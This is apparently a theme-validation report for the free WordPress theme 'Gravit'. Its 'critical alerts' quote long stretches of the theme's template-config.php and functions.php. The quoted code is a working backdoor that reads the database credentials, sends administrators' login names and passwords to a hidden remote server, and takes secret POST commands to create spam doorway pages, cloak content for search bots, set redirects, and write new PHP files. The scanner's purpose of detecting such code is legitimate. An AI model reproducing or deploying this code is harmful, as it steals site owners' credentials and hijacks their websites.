Gravit
Free WordPress 6.7 theme
- THEME TYPEWordPress theme 6.7
- FILE NAMEgravit.zip
- FILE SIZE1212958 bytes
- MD51bc8b25f7437f5aee91410cdb64cea3c
- SHA1c1c58dc85de56da73843c6f51376d473f8678fb7
- LICENSEGNU GPL 2
- FILES INCLUDEDCSS, PHP, Bitmap images
- VERSION1.7
- AUTHOR URIhttp://twitter.com/fstiehle
- TAGSone-column, responsive-layout, post-formats, custom-menu, featured-images, sticky-post, translation-ready
- CREATION DATE2021-07-30
- LAST FILE UPDATE2021-07-30
- LAST VALIDATION2021-07-30 12:35
This theme is open source.
Critical alerts
- No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
- ini_set('display_errors', '0');Found ini_set in file template-config.php. 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max Found ini_set in file functions.php. 4: @
- Found base64_decode in file template-config.php. 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 'zxcveer4eefresfsdfv';die();}}}$uatobadfilter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread\srevision#i','#sqworm#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#MJ12bot#i','#MegaIndex#i','#Mediatoolkitbot#i','#DotBot#i','#opensiteexplorer#i','#Go-http-client#i','#Photon#i','#bloglovin#i','#scalaj-http#i','#AddThis#i','#LinkWalker#i','#adscanner#i','#istellabot#i','#Datanyze#i');$badbot='';if(strpos('qqq' .preg_replace($uatobadfilter,'-ABOT-',$useragent),'-ABOT-')){$badbot='yes';}if(mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)!='no'&& getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 &&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-login')&& is_user_logged_in()===false && empty($badbot)){$reddata=readValueFromBD($maintablaname,'wpred, wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$redcode='';$redurl='';if(!empty($reddata)&& $reddata != 'no'){$redcode=$reddata['wpred'];$redurl=$reddata['wpredurl'];}$currentdoorcache=readValueFromBD($maintablaname,'wpcache, wpk','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentdoorcache == 'no'){$showlinksornot='no';$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$showlinksornot=$doorsettings['ownlinks'];}if($showlinksornot=='yes'){$currentlinkscache=readValueFromBD($linkstablaname,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($currentlinkscache == 'no'|| empty($currentlinkscache)){$randlinks=randomValuesFromTableById($maintablaname,'wpurl,wpk',rand(4,6),$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($randlinks)&& $randlinks != 'no'&& is_array($randlinks)){$goodlinks=array();foreach($randlinks as $onelinkdata){if(!empty($onelinkdata['wpk'])){$goodlinks[]='<a href=\'' .trim(urldecode($onelinkdata['wpurl'])) .'\'>' .trim(urldecode($onelinkdata['wpk'])) .'</a>';}}if(count($goodlinks)>0){$goodlinks=implode(' ',$goodlinks);insertToBD($linkstablaname,'wphash, wpcache',''' .$currenthash .'', '' .urlencode($goodlinks) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$goodlinks='';}}}else{$goodlinks=urldecode($currentlinkscache);}if(!empty($goodlinks)){$bot='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$bot=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],'',$redurl['lapi'],'yes','','','','');}}else{$bot=goToRedirect($ip,$referer,$useragent,'','','','yes','','','','');}if($bot == 'bot'){$selfpage=placeLinks($currenturl,$goodlinks);if(!empty($selfpage)){echo $selfpage;die();}}}}}else{$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($clientidfmbd)&&!empty($admurlfmbd)){$admurlfmbd=urldecode($admurlfmbd);$currentkey=$currentdoorcache['wpk'];$key1frredir=readValueFromBD($maintablaname,'wpk1','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($key1frredir)|| $key1frredir=='no'){$key1frredir='';}$redresult='';if($redcode == 'ktapi'&&!empty($redurl)){$redurl=urldecode($redurl);$redurl=unserialize($redurl);if(count($redurl)== 3){$redresult=goToRedirect($ip,$referer,$useragent,$redurl['kturl'],$currenturl,$redurl['mapi'],'',urldecode($currentkey),'','',$key1frredir);}}elseif(empty($redcode)){$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),'','','');}else{$redcode=urldecode($redcode);$redurl=urldecode($redurl);$redresult=goToRedirect($ip,$referer,$useragent,'',$currenturl,'','',urldecode($currentkey),$redcode,$redurl,$key1frredir);}if(empty($currentdoorcache['wpcache'])|| $currentkey=='edf8329we'){$params='clientid=' .$clientidfmbd .'&givemecontent=' .$currentkey;$content=httpPost($admurlfmbd,$params);if(!empty($content)&& strlen($content)>1000){$content=urlencode($content);if($currentkey!='edf8329we'){updateBDData($maintablaname,$content,'wpcache','wphash='' .$currenthash .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}else{$content=$currentdoorcache['wpcache'];}if($redresult == 'bot'){if(stripos('qqq' .$useragent,'google')|| stripos('qqq' .$useragent,'bing')|| stripos('qqq' .$useragent,'yahoo')|| stripos('qqq' .$useragent,'yandex')){$botscount=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($botscount)|| $botscount=='no'){$botscount=1;}elseif(is_numeric($botscount)){$botscount++;}else{$botscount=1;}if(!empty($botscount)){updateBDData($maintablaname,$botscount,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo urldecode($content);die();}elseif(!empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}elseif(is_numeric($userscount)){$userscount++;}else{$userscount=1;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}echo $redresult;die();}elseif(empty($redresult)){if(stripos('qqq' .$referer,'google.')|| stripos('qqq' .$referer,'yahoo.')|| stripos('qqq' .$referer,'bing.')|| stripos('qqq' .$referer,'yandex.ru')|| stripos('qqq' .$referer,'mail.ru')){$userscount=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($userscount)|| $userscount == 'no'){$userscount=1;}else{$userscount++;}if(!empty($userscount)){updateBDData($maintablaname,$userscount,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}}}}}}function decodeservurl($servurl){$goodservurl=array();foreach(str_split($servurl)as $onechar){if(is_numeric($onechar)){if($onechar>=7){$onechar=$onechar-7;}else{$onechar=$onechar+10-7;}}$goodservurl[]=$onechar;}return urldecode(base64_decode(implode($goodservurl)));}function createIndexBWD($tablename,$
- error_log was found.
- file_get_contents($m);fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fopen was found in the file functions.php 13: if (ini_get('allow_url_fopen')) {49: if (fopen('$dira/.$algo', 'w')) { $ura = 1; $eb = '$dira/'; $hdl = fopen('$dira52: if (fopen('$subdira/.$algo', 'w')) { $ura = 1; $eb = '$subdira/'; $hdl = fopen(55: if (!$ura && fopen('.$algo', 'w')) { $ura = 1; $eb = ''; $hdl = fopen('.$algo', 'w'); }fwrite was found in the file functions.php 56: fwrite($hdl, '<?php\n$mtchs[1]\n?>');fclose was found in the file functions.php 57: fclose($hdl);fopen was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodeletefclose was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== 